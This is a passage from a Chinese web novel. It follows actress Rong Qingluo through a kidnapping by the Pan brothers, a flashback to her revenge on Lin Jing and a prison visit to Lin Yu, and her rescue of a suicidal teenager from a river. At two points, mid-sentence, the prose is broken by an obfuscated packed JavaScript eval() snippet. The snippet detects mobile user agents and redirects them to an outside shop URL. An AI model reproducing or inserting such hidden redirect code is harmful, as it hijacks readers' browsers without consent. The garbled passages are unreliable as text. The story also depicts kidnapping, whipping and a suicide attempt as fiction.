原本一切顺利，然而大巴车在路上一个服务站休息的时候，容清洛下车去卫生间，恰好遇见了正宁中学学生周佑雨的双胞胎姐姐周佑谷。 周佑谷告诉容清洛，她是与池和安一起回云市，她父亲终于醒了，她现在要去医院探病。 容清洛问起周佑雨目前的情况，周佑谷说，妹妹比之前好很多，而且池家有专业的律师团队，如今为她父亲和妹妹维护权益的证据都已经找的差不多了，很快就可以开始反击。 虽说是服务站，但到底比较偏僻，两人交谈得认真，说话间没注意周围情况，竟然被人打晕，掳上一辆面包车。 等程景逸与池和安发现二人不见时，那面包车早就扬长而去，不见踪迹。 *** 容清洛醒来时，发现她和周佑谷身处一栋废弃的烂尾楼里。 也不知这栋楼有几层高，二人手脚都被紧紧绑住，拴在一个角落里。 被敲晕的那一瞬间，容清洛凭借着最后的意识，摁下腕间电子手表的一个按钮。 这种手表是贺溪君专门改造的，贺溪君、吴焕晗还有她，三个人分别有一块，方便三人秘密联络。 一旦三人中有人按下那个按钮，电子手表会自动打开摄像头，把定位发至另外两人的手表中，发出求助。 虽然复仇在四年前就已经结束，但是贺溪君仍然坚持让她们都带着手表，以防万一。 容清洛很信任贺溪君，便一直戴着这手表，没想到今天竟然发挥了用处。 然而贺溪君此时并不在云庆省，相隔着千山万水的距离，一时之间恐怕鞭长莫及。 但吴焕晗就在青山镇。 焕焕如果收到她发出的紧急求助，必定能通过手表里的定位找到她。 幸好她前几天离开青山镇时，就已经拜托吴焕晗去做了一件事情，如果事情进展顺利，应该很快就会有人来救她们。 她们只需要在救援到来之前，保证自己好好活着。 而这，是她擅长的事情。 不过，这些人明显是惯犯，绑人的手法十分专业，容清洛根本解不开。 万幸的是，那些人没堵住她们的嘴。 正当容清洛思考着如何逃脱时，身旁的周佑谷也苏醒过来，在她发出声音以前，容清洛及时用气音制止住她：“嘘，别弄出动静。” 周佑谷明白目前的处境以后，压低音量细声道：“看来是潘鸿和潘源，他们怕我反击，狗急跳墙了。” 容清洛点头。 果然调查的结果没错，在青山镇，潘家的宗族势力很大。 夏日炎炎，烂尾楼裸露的钢筋水泥之间，却有寒凉之意笼罩。 容清洛和周佑谷正思量对策，有一群人走来。 迎着窗口刺眼的光亮，她们看清，为首之人正是潘鸿和潘源。 潘鸿手里拿着棍子：“哟，醒了正好，也省的我们还要费劲泼水叫醒你们。” 他看着容清洛，有些兴奋：“大明星，别瞪我啊，我们本来只想要绑架她的。” 说着，潘鸿指了指容清洛旁边的周佑谷，继续道：“可惜啊，谁让你当时倒霉，偏偏和她站在一处。” 潘鸿小人得志地笑起来：“那我能怎么办，为了防止走漏风声，就只能捎带着把你也一起绑来了。” 潘源拍拍弟弟的肩膀，低声提醒他：“先干正事。” 潘鸿不再理会容清洛，他看向周佑谷，恶狠狠道：“把东西交出来。” 周佑谷讽刺一笑：“你们想要什么？我能有什么你们需要的东西呢？” 潘鸿：“你爸手里那些有关我们厂的东西，交出来，我们安全放你回去，自此两清。” 周佑谷：“我若是不呢？” 潘鸿暴脾气上来，就要动手打人，被一旁的潘源拦下来。 潘源乍看上去斯斯文文，此时他的目光却如同毒蛇一样阴毒：“周小姐，说出激怒我们的话语之前，先好好用脑子想一想你现在的处境。” “如今你是我们砧板上的鱼肉。” “讨价还价的话不应该从你的口中吐出。” “趁我们现在还愿意与你互惠互利地谈，你得低头，摆正态度。” “你们要怪的话，就怪自己当初下手太狠吧。”周佑谷冷笑一声，“我爸到现在都还躺在ICU里没醒，他即便真有你们所说的东西，我又如何得知？” “哦？是吗？”潘源，“那就好好想想你如今能拿出什么有价值的东西，以此祈求我们放过你，这才是你应该做的事情。” 他伸出手，冰凉的手指划过周佑谷靓丽的脸庞，在她脸颊上轻拍，阴冷道：“我想，你是不会想要知道拒不合作的后果的。” 周佑谷冷哼一声，撇过头去，躲开潘源的手。 见此，潘源的眸色一暗。 还没等他做出下一步动作，容清洛蓦地开口：“你们的小表妹张静思，知道你们这般垂涎其他女孩子吗？” “小表妹其实对你们其中一个有情，也许你们不知道？” 注意到潘源的神色，容清洛意有所指：“哦，原来有人是知道的呀。” 见潘鸿满脸莫名的模样，容清洛看向他：“恐怕你还不知道吧，你的小表妹，喜欢你大哥呢。” 潘源冷眼扫过来：“容小姐，你只是捎带脚被绑过来的，你难道不应该安安静静像鹌鹑一样缩在角落里吗？” “怎么？还想着英雄主义，要替他人打抱不平？” “先管好你自己吧。” “作为当红女顶流，容小姐恐怕不希望明天的热搜是关于你的桃色新闻吧？” 容清洛眼里仿佛带着钩子，妩媚一笑：“潘公子说笑了，我被绑架的次数恐怕比你绑架别人的次数还多。” “与其在这里色厉内荏地恐吓别人，不如我们来谈谈合作。” “更何况我不想一直被绑在这里啊，绳子勒人很难受的。” “今天阳光正好，我们来聊聊天啊。” “你们来威胁她，不过是想要借此收回被人拿捏在手心的把柄，归根结底是不想你们的厂子利益受损。” “你想要利，而我有的是钱和名，与我谈合作，不是能更快帮助你们摆脱困境？” “等你们发展壮大了，她父亲手里的那点料能耐你们何，不过是蚍蜉撼树罢了。” 见潘源沉着脸一言不发，似乎内心很是挣扎，潘鸿插嘴道：“有点道理，那你打算如何合作？” 容清洛对着潘鸿露出一抹玩味的笑：“商人最重利益，你想向你父亲证明你不是废物吗？” 接着她又看向潘源：“你想向你的养父证明你对他的忠心不二吗？” “那就听我的。” “我有方法让你们一家和和美美地走下去，每个人都实现自己的愿望。” “潘源，你对你养父立誓，甘愿屈居能力不如你的潘鸿身后一辈子，守护他，辅佐他，不抢他位置。” “不过呢，男子汉大丈夫，岂会甘心久居人下，你若是不愿意，就当我没说。” 听闻此言，一向粗枝大叶的潘鸿果然留心观察大哥潘源的神色，猜测潘源心中想法。 潘源察觉此目光，立马对弟弟道：“阿鸿，你别听她瞎说，我会辅佐你一辈子。” 容清洛：“要想证明你的忠心，你只需求娶张静思，这样你就能一辈子与潘家绑在一起。” 潘源听到某个名字，身体一僵，开口拦住容清洛的话语：“你不要信口开河。” “静静是我妹妹。” 容清洛不以为意：“张静思又不是你的亲表妹。” “你和潘家没有血缘关系，随时有可能被舍弃。” “但是如果你娶了潘家人宠爱的外孙女张静思，再生下一儿半女，你便和潘家人成为真正有血缘纽带的一家人。” “你养父和你弟弟会因此彻底消除心中芥蒂，对你完全信任。” “而小表妹也能实现暗恋的心愿。” “一举三得，多好啊。” “怎么这个表情，难道你不愿意做潘家女婿吗？” “莫非你没瞧见你们那个便宜姑父张世？如今他背靠你们家混得多如鱼得水呀。” “不会吧，难道你一直在找机会脱离潘家？那你对你养父的忠心……” 不欲让容清洛继续说下去，潘源眼神微闪，忽地对她发难：“说起姑父，差点忘了，你和程景逸是一伙的。” 他对弟弟道：“阿鸿，咱们别被她骗了。” 潘鸿摸着下巴难得动起脑子，他对容清洛道：“你如果能让程校长离开正宁中学，我倒是能信一下你。” 容清洛嗤笑道：“这种事情还需要我教你们吗，直接让家长去教育局投诉他喽。” “等他离开，校长的位置自然会为你们的姑父空出来。” 潘鸿：“你以为这事我姑父没想过？关键是没有家长愿意投诉程景逸。没想到程景逸这人脾气虽然硬，倒还算有人缘。” 容清洛垂下眼，遮掩住眸中一闪而过的笑意。 潘源：“容小姐既然提出这个法子，想必你有合适的投诉因由？” 容清洛：“男女不正当关系这个由头如何？” “我记得，程景逸似乎经常把学校分给他的房子名额让出来给其他老师，这里面应该有女老师吧……” 潘鸿眼前一亮：“这法子好，够阴毒，我喜欢。” 潘源鼓起掌来：“容小姐为程校长数掷千金，我还以为你和程校长有一腿呢，看来是我想岔了。” “古人诚不欺我，果真是，唯女子与小人难养也。” “容小姐确实是个狠人。” “但你如何为我们带来利益呢？” 容清洛：“我可以替你们与投资人牵线，带来资金；也可以为你们代言，给你们带来流量。” “有了这些，你们厂只会越来越好。” 潘源：“空口白牙，口说无凭。” 容清洛：“任凭你把谁绑在这里谈条件，人家都只能和你动嘴皮子。” “不把我放了，我如何实现刚刚与你们说的话呢？” 潘鸿：“此时放了你，你若立马反悔怎么办？” 容清洛：“做生意最讲究的就是诚信二字。” “你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587002|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果不信任我，我也没办法。” “看在与你们费了这么多口舌的缘分上，给你们一个忠告：和气生财、广结善缘。” 说着她摇摇头，感慨道：“你们兄弟俩，一个暴躁，一个阴狠，都不是好苗子呀。” “心眼只有针尖大小，如何成器呢？” 容清洛讲到这里，眼风扫过一旁被绑着的周佑谷，对潘源和潘鸿道：“男子汉大丈夫，要建功立业，何必如此执着于细枝末节？” “一直纠结于她父亲手里那些无足轻重的所谓证据，你们如何迈向更宽广的世界，如何挣大钱，如何干出一番大事业呢？” 潘鸿似有所悟，点头道：“是啊，你说的有理。那你说，我们现在应该怎么做？” 潘源直觉有哪里不对劲儿，正思索着，楼外忽然有警笛声响起。 他连忙扯回要上前亲自为容清洛解开绳索的潘鸿，两人一起去查探情况。 此时手下人来报：“源哥，鸿哥，楼下突然来了好多警察，都全副武装，正在包围这里呢。” 潘鸿和潘源到窗口向下望去。 潘鸿：“这架势，不像是镇派出所的人。” “那领头的，没见过，也不是市里的吧？” 潘源皱眉道：“这是省里的人。” 潘鸿仍然一头雾水。 潘源却立马反应过来，他快步回到地上被绑着的二人面前，指着窗外：“那是你们招来的？” 周佑谷同样一脸迷茫。 容清洛不置可否地耸耸肩。 潘源的目光锁定容清洛，一把揪住她的衣领，目眦欲裂：“你骗我们？” “你刚才说的，全都是忽悠人的！” 容清洛笑眯眯道：“怎么会呢？” “我为你们规划了多美好的未来呀，你怎么可以怀疑我？” “不过，眼见着近在咫尺的美好未来在顷刻之间因为你们自己的作孽而烟消云散，你们是否有几分痛心呢？” 容清洛啧啧摇头：“看来是人算不如天算。” “毕竟呐，你们的美好未来，可是建立在无数人的痛苦之上的。” “既然如此，凭什么你们高坐明堂，享世间安乐，却让他人满身风雪，永堕尘泥？” 杀人诛心。 这是最令人痛苦的。 潘源脱力，跌在地上，双目失神，喃喃道：“完了，一切都完了。” 潘鸿冲过来，扬手便要打容清洛。 容清洛虽然会动脑子和嘴皮子，但是她的身手是真的不怎么样，与成年男子完全不可比拟。 她心中已经做好挨打的准备，撑到警察上楼来就好了。 在这千钧一发之际，周佑谷突然暴起，挡住容清洛，一把将潘鸿掀翻在地。 潘鸿趴在地上哀嚎，震惊看向周佑谷：“你不是被绑住了吗？” 周佑谷揉着腕间的勒痕，捡起散落在地上的绳子，将潘鸿和潘源制住，绑住二人。 她不屑道：“你以为清洛姐姐为何要与你们费那么多口舌呢？” “当然是给我们逃跑争取时间啊，也不枉我拿着刀片悄悄在身后绳子上割了许久。” 潘源猛地看向容清洛：“你这女人，如此狠毒，满口算计，要是让你的粉丝们知道你究竟是什么样的人，看你到时候如何自处！” 容清洛一直面带浅笑，此刻却骤然冷下脸：“抱歉，这事就不劳你费心了。” “我从来都不是什么善男信女，做事情也向来不择手段。” “粉丝的喜欢本来就是得之我幸、失之我命。” “若有人因此离我而去，我只能接受，都是命罢了。” 警方很迅速地控制住潘家兄弟的一众手下。 周佑谷为容清洛解开身后绳索。 跟随警方一同而来的还有程景逸、吴焕晗、池和安。 池和安奔向周佑谷。 程景逸将容清洛从地上扶起来：“怎么样，受伤了吗？” “没有。”容清洛，“不好意思，刚刚在他们面前，我把你给卖了。” 程景逸并不在意这些，他温声道：“随便利用我，我甘之如饴。” 他的眼神过于温柔，容清洛无法回应，目光下意识转向一旁。 跑得有些慢的吴焕晗此时才到，她越过程景逸扑向容清洛。 程景逸无奈一笑，后退一步，为她们闺蜜俩留下空间。 吴焕晗上下将容清洛打量好几遍，才呜咽道：“洛洛，还好你没事！” 容清洛握住吴焕晗的手，感激道：“焕焕，多亏有你。” 吴焕晗颇为后怕：“幸好我一直戴着君君给的手表，不然怎么能及时发现你遇险。” “也是你有先见之明，让我去省里举报青山镇有宗族势力涉黑涉恶、欺压乡里。” “不然人也不会来得这么快。” 容清洛：“安心啦，我心中有成算的。” 吴焕晗：“你再有谋划，归根到底也还是女孩子，坏人要是动起手来，你打得过吗？” “什么事情都有万一的，我很担心啊。” 容清洛回抱住吴焕晗，轻声安慰道：“焕焕，我不是第一次遇到这种事了，每一次我都能化险为夷，不是吗？” 161. 行者无畏 容清洛上一次被绑架，发生在四年以前。 那时候，林裕刚被逮捕，而林晶尚未落网。 于是林晶派人绑架了容清洛。 容清洛虽然是被绑架的一方，但是她当时已经知道林晶走上穷途末路，蹦跶不了几天。 她更知道，无论这局棋中是否还有她，林家都必败无疑，林晶必将会受到制裁。 林裕被抓，吴家已倒，没有人能再保住林晶，没有人能再让林晶免于接受正义的审判。 所以容清洛知晓，无论她是否能活下去，她的仇恨必会得报。 因此她把生死看得很淡，第一次卸下所有伪装，以她自己本人的身份，很硬气地和林晶进行了一场临死之前的平等对话。 当时，容清洛被绳子绑着，整个人毫无还手之力。 林晶眼里闪着疯狂，手持长鞭，将容清洛抽得浑身是伤，皮开肉绽：“都是因为你，我哥才被抓走的。” 容清洛原本一直没有理会林晶的辱骂与抽打。 但是林晶将这顶大帽子不分青红皂白地扣在她头上，这话她无法苟同，也不能容忍。 容清洛艰难地抬起眼帘，直视林晶：“你错了，林裕走到如今的结局，全由他自己一步步选择，与他人无关。” “既然你到今天都看不清，那我便与你好好辩上一辩，也算是为我与你的这十年恩怨，做一个了结。” 林晶皱眉：“你说什么？” “十年恩怨？” “我与你哪有十年恩怨，现在说的是你辜负了我哥，别扯到我身上。” 容清洛牵起唇角，露出一丝苦笑。 林晶如今也不过是秋后蚂蚱。 她们都知道，警方找到这里，只是早晚。 折磨她，是林晶最后的自由，也是林晶最无力的泄愤。 她用了十年，终于将林家彻底扳倒。 这是她的复仇。 但自始至终，林晶都不知道她是在向谁复仇。 呵呵。 是时候，要让林晶明白，她究竟是谁。 她要用自己本来的身份——季希的这个身份，光明正大地与林晶来一场对峙。 这是她与林晶的对抗。 一场事关名誉与尊严、公道与正义的决斗。 容清洛身上都是鞭伤，十分虚弱，但她拼尽全身的力气，大声喝道：“林晶！” “你看清楚，我是谁！” “十年前，南庐市一中，高一十五班的叶时冉，那个被你在南山森林公园推下悬崖的女生，你可还记得？” 林晶：“你说的是哪个小贱人，我怎么可能记得？” “有这回事吗？你莫不是诓骗我呢吧？” 容清洛冷笑道：“人果然都是鞭子不打在自己身上便不知道疼。” “也罢，被你害死的冤魂不知凡几，你有一副草菅人命的黑心肠，恐怕厉鬼索命时，你也不会记得这些人。” “但你放了一把山火毁尸灭迹，并且自己被人在山中绑架，这事，你总有印象吧？” 提起绑架，林晶回忆半晌，总算在脑海中捕捉到一点画面：“你说的是高一下学期春游的事？” 容清洛：“大小姐总算想起来了。” 林晶：“你和那小贱人什么关系？你是替她来复仇的？” 容清洛：“我是被你迫害的无数人中的一员，我不幸的人生因你而起，唯一的幸运便是，我活了下来，没死在那场山火里。” “你还记得我的名字吗？” “我的本名是——季希。” “季节的季，希望的希。” “季希……”林晶惊道，“竟然是你。” “哦？”容清洛，“林大小姐竟然记得我的名字。” “你确实应该记住我。” “林晶，以你对我做的那些事、以及那些事对我的人生产生的极其恶劣的影响来论，由我来做你林家之灭的导火索，你一点都不冤。” 林晶：“程景逸是我看上以后第一个没得手的男生，而这一切，都是因为你，我当然记得你。” “但我印象里，你不长这样啊？” 她嗤笑道：“也是，若是以你本来的面目，我哥怎么可能看上你，你怕是连接近我哥的机会都没有。” 容清洛：“我之所以整容，都是拜你所赐。” “当年你不仅在南山森林公园把叶时冉推下山崖，还把我打得奄奄一息。就是你放的那把火，把我烧伤，致使我毁容。” “如果追根溯源起来，真正把你哥害进监狱的人，是你自己啊，林晶。” “正所谓，天理昭昭，报应不爽。” “虽然以林裕犯下的罪行而言，他被抓完全是罪有应得，但是他这么快就落网，还真是要感谢你不遗余力的努力啊。” “你可真是林裕的好妹妹。” “与其怪我，林晶，你不如狠狠地鞭笞你自己，向你哥哥赎罪吧。” 林晶怒吼：“不！你巧言令色，你巧舌如簧，你说的话都是假的！” 容清洛：“你只是不敢相信，不敢承认罢了。” 林晶：“当初把我逼出国的也是你吧，我真是小瞧你了，你怎么敢？” “我怎么不敢？”容清洛，“你一个作恶者都敢做出那么多违法之事，我这个受害者，为何还不敢反抗呢？” “说实话，这么多年来，我每天和你们虚与委蛇，我已经很累了。” “林晶，拜你所赐，我连高中都没毕业。” “但是这么多年，我没少读书，起码我知道有一句话叫做，得道者多助，失道者寡助。” “你觉得我能复仇成功，是因为我有多强的意志、有多大的能力吗？” “不，更多的其实是运气。” “是恰好有人和我拥有同样的仇敌。” “有太多人想对林家复仇，这大概就是得道者多助、失道者寡助。” “最后能成功，不是源于我的努力。” “我的努力，太不值得一提了。” “其实有我没我都一样，林家势必会倒，我只是在其中寻得一条能安放我之仇恨的道路。” “你以为，即便没有我，你林家能走到几时呢？” “你三代人做的孽，这么多年积累下来，比山高，比海深。” “而如今，便是结算的时刻。” “古人云，时来天地皆同力，运去英雄不自由。更何况，你们实在称不上英雄。” “你们，大势已去。” 林晶扬起手中长鞭，击打在容清洛身上，狠狠道：“你看清楚你如今在哪里，如何还敢口出狂言。” 容清洛喷出一口血，但她仍然在笑：“我已经看见你们的落败，我死而无憾，心无挂碍，所以要杀要剐，悉听尊便。” “不过，我倒是要奉劝你一句，不要再为自己增添罪行了。” “你还记得，你最后一次见叶时冉是什么时候吗？” “君子报仇，十年未晚。到今年，正好是第十年。” “你落败时落在你身上的雨，也许根本就来自曾经你向别人泼去的水。” “如今，刚好可以用你的血，来祭奠冤魂。” 林晶：“死到临头了，还敢嘴硬。” 容清洛：“即便我今日身死又如何，我已经看到你的死期。” “如果我先走一步，我会在阎王殿中，等着看你的血祭。” “看见你的下场，我才好安心的去投胎啊。” “曾经的季希是只能被人欺负的小可怜，但现在的容清洛不是。” “我终于能替死去的叶时冉以及曾经的我自己来向你讨回公道。” 林晶不解：“人生有几个十年呢？” “怎么会有人花费十年的时间，甘愿牺牲如此之多……” “你究竟是为了什么？” 容清洛：“为证明我心中大道。” “不来找你复仇，我活在世上便如同行尸走肉，道心必毁。” “这些年来，我过得很不好。” “我并不是一个因为自己过得不好就见不得别人好的人。” “但是，当我是那般痛苦，毫无尊严可言地挣扎求生于阴暗潮湿的角落时，当我还记得跌入崖底的冤魂时，你们这些曾经作恶的人，却步步高升，好不风光。” “我的心中，很难不升起不甘与愤怒。” “这世道，怎么会是这个样子呢？” “我常常会想，也许是我太无知了吧。” “大概是我自己的问题吧。” “可无论我再怎么想让自己平静下来，这种触目惊心的对比，始终无时无刻地不在冲击着我的内心。” “这导致多年以来一直有一个问题困扰着我，让我百思不得其解。” “那就是——为什么好人无好报，恶人无恶报？” “这么多年，我的行为是坚定的，始终走在向你们复仇的道路上。” “可现实是如此的残酷，从来不会朝着我希冀的方向发展。” “我一直是无望地坚持着。” “因此在我的心里，我反反复复地质疑我自己，思维就这样一直在打转，反反复复地打转，仇恨也在慢慢被现实所侵吞。” “我不断地告诉我自己，这些人，只不过是些仗势欺人、横行霸道的欺凌者，是些作壁上观、漠然置之的旁观者，是些幸灾乐祸、落井下石的鹰犬爪牙。” “这些人的恶，只是对我而言是恶。” “而这并不是一个以我为坐标来标记善恶对错、是非黑白的世界。” “所以我认为的善恶，并不是真正的善恶。” “那么，曾经伤害我的这些人都活得很好，似乎也并没有什么不对。” “我其实知道，我什么都不是，如果不是恰好上面要惩处林裕之流，我一介蝼蚁，本来就是什么事情也办不成。” “林晶，你知道吗，没有我，没有你，你林家都会倒。” “你是一个加速器，是推动我加入的最重要的因。” “可我这个因，并不会导致你林家覆灭。” “我的因，只能导向我自己终于可以放下此事这一个果。” “你林家的苦果，是你们自己结下的，怨不得任何其他人。” “而我，无非是一个因为不甘与愤怒而放不下仇恨的小小蝼蚁罢了。” “命运的推手意外让我走上这么一条不归路，人生的一切都像是梦境。” “我之所以会从季希变成容清洛，后来一步步成为明星，复仇成功，这每一步，都不是仅仅靠着我自己就能完成的，都是命运在推着我前进。” “如果仅仅依靠我个人的意志，我可能早就远离南庐市和宁川市，找一个没有人认识我的小城，怀着某种难以消解的沉郁默然地度过此生。” “完全是因为恰好严靖诚想要利用我，而我心里恰好又有那么一小簇想要复仇的焰火，虽然那点火苗最开始只是十分的微弱，却也在你和林裕后来的火上浇油下不断地窜高，最后，我这么一颗左右逢源、在夹缝中生存的小棋子，竟然真的做成了复仇这件事。” “所谓人生，所谓命运，就是如此荒唐且荒诞。” “这么多年里，我失去了很多，得到了很多，可最终，到此时此刻，却好像也没有什么能再失去，也没有什么能再得到。” “人活在社会中，与蚂蚁活在树洞里，又有什么不同呢。” “一条命罢了，了结在这里，真的是脱离苦海。” “至于那个困扰我多年的疑惑，如今在你和林裕身上，我也看到了答案。” “好人不一定有好报。” “但是恶人一定有恶报。” “只是这个时间线被老天无限地拉长。” “十年，十年过去，你终于要为你做下的一切恶行付出代价。” “虽然这个结局来得有些迟，虽然你们付出代价的很大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587003|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一部分原因不是因为我，但正义终归是要降临了。” “我很开心。” “那你便到阴曹地府去开心吧，你放心，等你的坟变成一抔黄土的时候，我都不会死。”林晶拿出一管针剂，吸进注射器中，阴恻恻道，“你知道这里面是什么吗？动物园麻醉大象这种大型动物，或者狮子、老虎这种猛兽时，用的就是这种麻醉剂。” “这么一大管，全都一下子注射进你体内的话，你还活的了吗？嗯？” 林晶：“你便到下面去陪我哥吧。” 容清洛从走上这条复仇之路的那一刻起，早就将生死置之度外。 如今面对死亡，她看得很淡。 更何况，她为了扳倒林家，前面已经隐忍了太多，在最后的时刻，她绝不跪着。 她也有尊严，哪怕是死，她也要站着。 容清洛仰天长笑：“哈哈哈，我今天便是死在这里又如何，你觉得我怕吗？” “林晶，你以为你还逃得掉吗？” “你这么多年所有的罪行我已经尽数上报给警方，你是必死的结局。” “我这条命，千疮百孔，这么多年之所以还苟延残喘在这世上，也不过就是为了等待这一天的来临呐。” “如今我夙愿已了，对这个世界没什么留恋的。” “要杀便杀，别废话了，但是让我向你求饶，绝对不可能。” “我死后便是化作鬼魂，也必要看见你伏法，再去喝孟婆汤。” 容清洛抱着一了百了、无所畏惧的心态把林晶狠狠地臭骂一顿，既是过一把嘴瘾，也带有故意激怒林晶的成分。 在用激烈的言语吸引了林晶所有注意力的这些时间里，容清洛悄悄在身后用藏于袖中的刀片割着束缚她手腕的绳子。 能活便活着，如果会死，这就是她的宿命，她不怕。 终于在林晶把那管针剂注射进她身体以前，容清洛挣脱绳索，打掉林晶手中的针管，抄起一旁的木棍将林晶打晕。 那时正值冬季，林晶躲避警方追捕的地方是一个废旧的仓库，只有一层，而林晶的手下都守在外面。 很冷，室内有火盆。 趁着林晶还昏迷着，容清洛将火盆踢翻，把视线中所有能看见的可燃烧的物品都丢在其中。 烈火猛烈地燃烧起来。 她算是以另一种方式，把多年前林晶给她和叶时冉的那场火，还给了林晶。 林晶的手下都进来救火的时候，容清洛趁乱翻出窗户，离开那栋建筑。 逃到安全地方以后，容清洛立马拨打119，并将林晶的位置告知平叔。 很快，救火的火警与抓人的警察都会赶到。 容清洛没想过让林晶真死在火中。 她想要的从来都不是让林晶不明不白地死在泄愤的闸刀之下。 她不要以暴制暴，不要以恶制恶。 她要真相大白于天下。 她要正义战胜邪恶。 她要这些人受到正义的审判。 她要这些人的灵魂受到煎熬。 她要作恶者为恶行赎罪。 为了走通这条路她，献祭了所有，容貌，名字，身体，什么都不是自己的了，什么都没有守住。 唯独她还剩一颗心，她守住了这颗心。 天容海色，吾本澄清。 她的心，从未改变。 *** 后来，林晶很快便被抓捕归案。 牢中的寇依宁和甄安然指认林晶杀害叶时冉。 在证据之下，林晶最终供认不讳。 在那之后，监狱里的林裕忽地申请要见容清洛。 探视室中。 容清洛：“听说你找我？” 林裕：“如果林晶当初没有伤害你，是否我们两个不会走到今天这个地步？” 容清洛：“如果不是林晶，我不会变成现在这副鬼样子，也不会有机会遇见你。” 林裕：“真是孽缘。没有晶晶，你不会来到我面前，有了晶晶，却注定你恨我的结局。无解啊。” 容清洛：“如果你是个好人。” “这是有解的。” “但可惜你不是。” “你是林晶的帮凶，你是和她一起伤害他人的刽子手。” “我只能把你和林晶一起送到你们该去的地方接受审判。” 林裕：“跟在我身边这么多年，你还是这么单纯吗？” “清洛，在你的世界里，难道只有好人和坏人吗？” 容清洛：“简单地以好与坏来作为评价人的标准，这确实有点粗糙。” “其实我更愿意用才、德作为标尺来衡量一个人。” “林裕，很显然你是一个有才无德之人。” “因为有才，所以你走到高位。” “因为无德，所以你终将跌落。” “社会要发展，人类要生存，所以这个世界需要有才华的人。” “社会要稳定地发展，人类要繁荣昌盛地绵延，所以这个世界更需要才德兼备的人。” “你踩着无数人的骨血走上巅峰，终究会被比你更强的人踩在脚下。” “现在就是你自食恶果的时刻。” 林裕大笑起来，眉宇间透出一股凌厉：“你也不懂我，我是在完成我伟大的事业。” “我确实无法理解你。”容清洛，“林裕，明明你有才华，却偏偏要因为无德而违法犯罪、伤害他人。” “我们都明白，走正道确实不是一件容易的事情，因为世上每时每刻都存在考验。” “不欺暗室，才德兼备，真的很难。” 容清洛看着林裕坚定道：“但这并不代表我们就可以放任自己让灵魂变得卑劣。” “坚守本心，不就是需要一个人哪怕再痛苦，也一定要坚守住自己灵魂的高尚和纯洁吗？” 林裕笑着笑着，忽地哭起来。 他知道，自己已无翻盘的余地。 162. 沧浪歌行 周佑雨的身体好了许多，得知姐姐周佑谷被绑架，连夜赶回了青山镇。 在见到周佑谷没事以后，周佑雨却失踪了。 相关的知情人都在找周佑雨。 青山镇有一条江水流经整个城镇，名为小清河。 细细回忆起自己知道的有关周佑雨的所有事，容清洛鬼使神差地来到了河边。 她想，这些人中，恐怕只有她最能体会周佑雨的心情。 容清洛沿着河道一路寻找，果真瞧见了立在河滩上的纤弱身影。 是周佑雨。 周佑雨跳了下去。 容清洛一惊。 她连忙脱掉鞋和外套，跳入河水中。 好在此时正值夏日，河水虽凉，却并不刺骨。 容清洛奋力向周佑雨游去，将小姑娘带回岸边。 幸亏她发现得及时，小姑娘只是有一点呛水，并无大碍。 然而周佑雨还想往河水里跳。 容清洛拦了几下，见她一意孤行，便松开了手，也不拦着了。 由于惯性原因，周佑雨往前一倾，摔在河滩上。 容清洛拧了一下自己的衣服，水滴哗哗地往河滩的石子缝隙中流淌。 她瞧着周佑雨的模样，忽地开口：“周佑雨，我刚刚是拼了命，才好不容易救回了你一次。” “那么多人都在找你，偏偏叫我遇到了你。” “你要知道，若是早上几年，我即便遇到了你，也救不了你，因为我以前是不会游泳的，不仅如此，我还对水非常恐惧。” “如今，算是老天多给了你一次选择的机会。” “这条命，你要或者不要，你想清楚。” “这一回，你如果再跳，我只会在岸上看着你在水中挣扎，你如果想好了，便请吧。” 说实话，容清洛自己也经常性地不想活了，所以她好像没什么能用来劝人活下去的理由。 周佑雨也不知是摔疼了，还是太压抑了，突然呜咽起来，不久便演变成了嚎啕大哭。 容清洛轻轻叹了一口气。 她刚刚下水前把防晒长衫脱了下来，此时手边只有这件衣服还是干的，她把这件外套披在了周佑雨身上。 周佑雨：“清洛姐姐，我是不是很失败？” “对不起，都是因为我，才害得你和我姐姐被绑架，我是不是只会给周围人带来灾难？” “对不起。” 容清洛：“这件事不怪你，说到底还是大人之间因为利益纠葛牵扯到了你们这些小孩子，你千万不要因此而自责。” “那为什么那些人都欺负我呢？”周佑雨的音量陡然升高，“我恨我自己说不出狠话，为什么她们把那些事都做绝了，我却说不出狠话去回嘴，我如果伶牙俐齿、满口脏话、张牙舞爪，是不是她们就不敢欺负我？我心里顾念着不能说狠话造口业，不能吵嚷，要有礼貌，要乖巧，只能将满腔的怒火全部压下，可最后压不下去的时候只能爆发，因为我知道，如果再不爆发，我会疯掉。” “可是，怎样爆发才是正确地爆发呢？想要复仇，想要回击，但是却不能犯罪。可那些欺负我的人难道不是在犯罪吗？” “我到底怎样做才是正确的呢？” “我根本不知道应该怎样做才是正确的做法，我真的快要疯了。” “我恨学校，我恨老师，我恨同学，我希望所有人一起毁灭！” 周佑雨：“我真的好恨啊。” “我讨厌这个世界。” “这个世界上的大多数人都很令我讨厌，当然，大部分人也都很讨厌我。” “清洛姐姐，你救我是因为我是你的粉丝吗？可你虽然救了我，你心里是不是也觉得我很讨厌？如果我不跳河就好了，这样就不会给你们添麻烦了，是不是？” “这就是我不喜欢和人打交道的原因，所有人都道貌岸然。” “人类真的很讨厌，别有用心的人会在你面前胡言乱语，拜高踩低的人会在你面前张牙舞爪，见识过这些人的恶，我真的很讨厌人类，我只想离人群远远的。” 周佑雨低声自言自语着。 